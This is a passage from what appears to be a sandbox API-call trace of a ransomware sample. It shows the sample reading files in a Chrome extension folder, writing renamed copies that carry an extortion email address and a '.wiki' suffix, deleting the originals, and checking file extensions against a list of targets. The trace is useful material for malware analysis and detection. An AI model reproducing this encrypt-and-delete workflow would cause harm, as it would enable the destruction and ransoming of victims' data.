data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.035] GetLastError () returned 0x0 [0181.036] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xa89c, lpOverlapped=0x0) returned 1 [0181.038] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xa8a0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xa8a0, lpOverlapped=0x0) returned 1 [0181.039] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.039] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0181.039] SetEndOfFile (hFile=0x2e0) returned 1 [0181.040] CloseHandle (hObject=0x2e0) returned 1 [0181.040] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.040] SetEndOfFile (hFile=0x158) returned 1 [0181.041] CloseHandle (hObject=0x158) returned 1 [0181.041] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.041] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js")) returned 1 [0181.041] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.041] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.041] lstrlenW (lpString=".doc") returned 4 [0181.041] lstrcmpiW (lpString1=".doc", lpString2="t.js") returned -1 [0181.041] lstrlenW (lpString=".docx") returned 5 [0181.041] lstrcmpiW (lpString1=".docx", lpString2="pt.js") returned -1 [0181.041] lstrlenW (lpString=".pdf") returned 4 [0181.041] lstrcmpiW (lpString1=".pdf", lpString2="t.js") returned -1 [0181.041] lstrlenW (lpString=".xls") returned 4 [0181.041] lstrcmpiW (lpString1=".xls", lpString2="t.js") returned -1 [0181.041] lstrlenW (lpString=".xlsx") returned 5 [0181.041] lstrcmpiW (lpString1=".xlsx", lpString2="pt.js") returned -1 [0181.041] lstrlenW (lpString=".ppt") returned 4 [0181.041] lstrcmpiW (lpString1=".ppt", lpString2="t.js") returned -1 [0181.041] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.041] lstrlenW (lpString=".zip") returned 4 [0181.041] lstrcmpiW (lpString1=".zip", lpString2="t.js") returned -1 [0181.041] lstrlenW (lpString=".rar") returned 4 [0181.041] lstrcmpiW (lpString1=".rar", lpString2="t.js") returned -1 [0181.042] lstrlenW (lpString=".bz2") returned 4 [0181.042] lstrcmpiW (lpString1=".bz2", lpString2="t.js") returned -1 [0181.042] lstrlenW (lpString=".7z") returned 3 [0181.042] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.042] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.042] lstrlenW (lpString=".dbf") returned 4 [0181.042] lstrcmpiW (lpString1=".dbf", lpString2="t.js") returned -1 [0181.042] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.042] lstrlenW (lpString=".1cd") returned 4 [0181.042] lstrcmpiW (lpString1=".1cd", lpString2="t.js") returned -1 [0181.042] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.042] lstrlenW (lpString=".jpg") returned 4 [0181.042] lstrcmpiW (lpString1=".jpg", lpString2="t.js") returned -1 [0181.042] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.042] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.042] lstrlenW (lpString=".doc") returned 4 [0181.042] lstrcmpiW (lpString1=".doc", lpString2="t.js") returned -1 [0181.042] lstrlenW (lpString=".docx") returned 5 [0181.042] lstrcmpiW (lpString1=".docx", lpString2="pt.js") returned -1 [0181.042] lstrlenW (lpString=".pdf") returned 4 [0181.042] lstrcmpiW (lpString1=".pdf", lpString2="t.js") returned -1 [0181.042] lstrlenW (lpString=".xls") returned 4 [0181.042] lstrcmpiW (lpString1=".xls", lpString2="t.js") returned -1 [0181.042] lstrlenW (lpString=".xlsx") returned 5 [0181.042] lstrcmpiW (lpString1=".xlsx", lpString2="pt.js") returned -1 [0181.042] lstrlenW (lpString=".ppt") returned 4 [0181.042] lstrcmpiW (lpString1=".ppt", lpString2="t.js") returned -1 [0181.042] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.042] lstrlenW (lpString=".zip") returned 4 [0181.042] lstrcmpiW (lpString1=".zip", lpString2="t.js") returned -1 [0181.042] lstrlenW (lpString=".rar") returned 4 [0181.042] lstrcmpiW (lpString1=".rar", lpString2="t.js") returned -1 [0181.043] lstrlenW (lpString=".bz2") returned 4 [0181.043] lstrcmpiW (lpString1=".bz2", lpString2="t.js") returned -1 [0181.043] lstrlenW (lpString=".7z") returned 3 [0181.043] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.043] lstrlenW (lpString=".dbf") returned 4 [0181.043] lstrcmpiW (lpString1=".dbf", lpString2="t.js") returned -1 [0181.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.043] lstrlenW (lpString=".1cd") returned 4 [0181.043] lstrcmpiW (lpString1=".1cd", lpString2="t.js") returned -1 [0181.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 155 [0181.043] lstrlenW (lpString=".jpg") returned 4 [0181.043] lstrcmpiW (lpString1=".jpg", lpString2="t.js") returned -1 [0181.043] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0181.043] lstrlenW (lpString="cast_sender.js") returned 14 [0181.043] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.043] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=52759) returned 1 [0181.044] CloseHandle (hObject=0x158) returned 1 [0181.044] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js")) returned 0x2020 [0181.044] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.044] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.044] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.044] GetLastError () returned 0x0 [0181.044] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xce17, lpOverlapped=0x0) returned 1 [0181.047] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xce20, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xce20, lpOverlapped=0x0) returned 1 [0181.048] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.048] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0181.049] SetEndOfFile (hFile=0x2e0) returned 1 [0181.049] CloseHandle (hObject=0x2e0) returned 1 [0181.049] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.049] SetEndOfFile (hFile=0x158) returned 1 [0181.050] CloseHandle (hObject=0x158) returned 1 [0181.050] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.050] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js")) returned 1 [0181.050] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.050] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.050] lstrlenW (lpString=".doc") returned 4 [0181.050] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0181.050] lstrlenW (lpString=".docx") returned 5 [0181.050] lstrcmpiW (lpString1=".docx", lpString2="er.js") returned -1 [0181.050] lstrlenW (lpString=".pdf") returned 4 [0181.050] lstrcmpiW (lpString1=".pdf", lpString2="r.js") returned -1 [0181.050] lstrlenW (lpString=".xls") returned 4 [0181.050] lstrcmpiW (lpString1=".xls", lpString2="r.js") returned -1 [0181.050] lstrlenW (lpString=".xlsx") returned 5 [0181.050] lstrcmpiW (lpString1=".xlsx", lpString2="er.js") returned -1 [0181.050] lstrlenW (lpString=".ppt") returned 4 [0181.050] lstrcmpiW (lpString1=".ppt", lpString2="r.js") returned -1 [0181.050] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.051] lstrlenW (lpString=".zip") returned 4 [0181.051] lstrcmpiW (lpString1=".zip", lpString2="r.js") returned -1 [0181.051] lstrlenW (lpString=".rar") returned 4 [0181.051] lstrcmpiW (lpString1=".rar", lpString2="r.js") returned -1 [0181.051] lstrlenW (lpString=".bz2") returned 4 [0181.051] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0181.051] lstrlenW (lpString=".7z") returned 3 [0181.051] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.051] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.051] lstrlenW (lpString=".dbf") returned 4 [0181.051] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0181.051] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.051] lstrlenW (lpString=".1cd") returned 4 [0181.051] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0181.051] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.051] lstrlenW (lpString=".jpg") returned 4 [0181.051] lstrcmpiW (lpString1=".jpg", lpString2="r.js") returned -1 [0181.051] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.051] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.051] lstrlenW (lpString=".doc") returned 4 [0181.051] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0181.051] lstrlenW (lpString=".docx") returned 5 [0181.051] lstrcmpiW (lpString1=".docx", lpString2="er.js") returned -1 [0181.051] lstrlenW (lpString=".pdf") returned 4 [0181.051] lstrcmpiW (lpString1=".pdf", lpString2="r.js") returned -1 [0181.051] lstrlenW (lpString=".xls") returned 4 [0181.051] lstrcmpiW (lpString1=".xls", lpString2="r.js") returned -1 [0181.051] lstrlenW (lpString=".xlsx") returned 5 [0181.051] lstrcmpiW (lpString1=".xlsx", lpString2="er.js") returned -1 [0181.051] lstrlenW (lpString=".ppt") returned 4 [0181.051] lstrcmpiW (lpString1=".ppt", lpString2="r.js") returned -1 [0181.051] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.051] lstrlenW (lpString=".zip") returned 4 [0181.052] lstrcmpiW (lpString1=".zip", lpString2="r.js") returned -1 [0181.052] lstrlenW (lpString=".rar") returned 4 [0181.052] lstrcmpiW (lpString1=".rar", lpString2="r.js") returned -1 [0181.052] lstrlenW (lpString=".bz2") returned 4 [0181.052] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0181.052] lstrlenW (lpString=".7z") returned 3 [0181.052] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.052] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.052] lstrlenW (lpString=".dbf") returned 4 [0181.052] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0181.052] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.052] lstrlenW (lpString=".1cd") returned 4 [0181.052] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0181.052] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 149 [0181.052] lstrlenW (lpString=".jpg") returned 4 [0181.052] lstrcmpiW (lpString1=".jpg", lpString2="r.js") returned -1 [0181.052] lstrcmpiW (lpString1=".css", lpString2=".wiki") returned -1 [0181.052] lstrlenW (lpString="cast_app.css") returned 12 [0181.052] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.053] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=6685) returned 1 [0181.053] CloseHandle (hObject=0x158) returned 1 [0181.053] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css")) returned 0x2020 [0181.053] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.054] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.054] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.054] GetLastError () returned 0x0 [0181.054] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x1a1d, lpOverlapped=0x0) returned 1 [0181.056] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0181.057] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.057] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0181.057] SetEndOfFile (hFile=0x2e0) returned 1 [0181.057] CloseHandle (hObject=0x2e0) returned 1 [0181.057] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.057] SetEndOfFile (hFile=0x158) returned 1 [0181.058] CloseHandle (hObject=0x158) returned 1 [0181.058] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.058] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css")) returned 1 [0181.058] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.058] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.058] lstrlenW (lpString=".doc") returned 4 [0181.058] lstrcmpiW (lpString1=".doc", lpString2=".css") returned 1 [0181.058] lstrlenW (lpString=".docx") returned 5 [0181.058] lstrcmpiW (lpString1=".docx", lpString2="p.css") returned -1 [0181.058] lstrlenW (lpString=".pdf") returned 4 [0181.058] lstrcmpiW (lpString1=".pdf", lpString2=".css") returned 1 [0181.058] lstrlenW (lpString=".xls") returned 4 